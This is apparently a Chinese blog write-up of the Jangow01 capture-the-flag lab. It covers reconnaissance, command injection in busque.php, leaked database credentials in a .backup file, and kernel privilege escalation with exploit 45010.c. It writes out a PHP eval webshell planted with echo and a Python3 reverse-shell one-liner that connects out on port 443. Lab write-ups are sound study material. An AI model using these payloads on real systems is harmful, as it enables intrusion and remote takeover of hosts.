详细请见个人博客
靶场下载地址。
下载下来后是 .vmdk 格式,vm直接导入。 M1请使用UTM进行搭建,教程见此。该靶场可能出现网络问题,解决方案见此
信息搜集
arp-scan -l # 主机发现ip为 192.168.168.15
nmap -sV -A -p- 192.168.168.15 # 端口扫描
发现开放了21ftp
和80http
端口,对80端口进行进一步目录扫描
dirsearch -u 192.168.168.15
扫描到了一个.backup
文件,访问预览一下
$servername = "localhost";
$database = "jangow01";
$username = "jangow01";
$password = "abygurl69";
// Create connection
$conn = mysqli_connect($servername, $username, $password, $database);
// Check connection
if (!$conn) {die("Connection failed: " . mysqli_connect_error());
}
echo "Connected successfully";
mysqli_close($conn);
可以看到这是一个php的配置文件,包含servername
、 database
、 username
、 password
,但是这里是localhost,数据库端口并没有对外开放,所以暂时无法利用。
再访问一下/site
站点,首页上的Buscar
非常可疑,访问后是如下网址:
192.168.168.15/site/busque.php?buscar=
经过测试之后可以命令执行
其他信息搜集的差不多了,这里可能会是一个突破口
测试过程
上面扫描出来了ftp服务,尝试使用.backup
进行连接
连接成功了,也看到了当前站点的文件目录,但是经过测试没有put权限,没有办法上传文件。
站点的命令执行第一个想到的是直接反弹shell,但是经过测试发现似乎无法执行bash和nc等命令
后来发现可以直接使用python3反弹shell
为了更好操作,尝试使用echo
写入一句话木马,然后使用蚁剑连接
192.168.168.15/site/busque.php?echo '<?php phpinfo();eval($_REQUEST["x"]);?>' > shell.php
webshell 虽然赋予我执行命令、管理文件的能力,但毕竟不是真正的 shell,无法执行交互式命令、无法控制进程状态、无法补全命令等等,非常不利于提权操作以及横向移动,所以,必须反弹 shell以执行更多的操作。
尝试了几乎所有的反弹shell命令,都无法成功监听到,后来想到有可能是出站策略中限制了端口。参考这篇文章,尝试了443端口,成功反弹shell。这里需要注意,该靶场没有python命令,而是python3
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("192.168.168.5",443));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/sh")'
成功反弹到shell后,建立一个交互式终端
python3 -c 'import pty;pty.spawn("/bin/bash");'
由于用户是www-data,也没有开放ssh和mysql权限,之前看到的jangow01账户也没有用。查一下系统内核
uname -a
看到内核是Linux 4.4.0-31
,这个内核已经很老了,存在漏洞
searchsploit Ubuntu 4.4.0-31
尝试了43418.c
和44298.c
,都无法成功提权
后来尝试到45010.c
,成功提权了
总结
这个靶场整体来说都比较常规,除了反弹shell有些困难,需要学习一些知识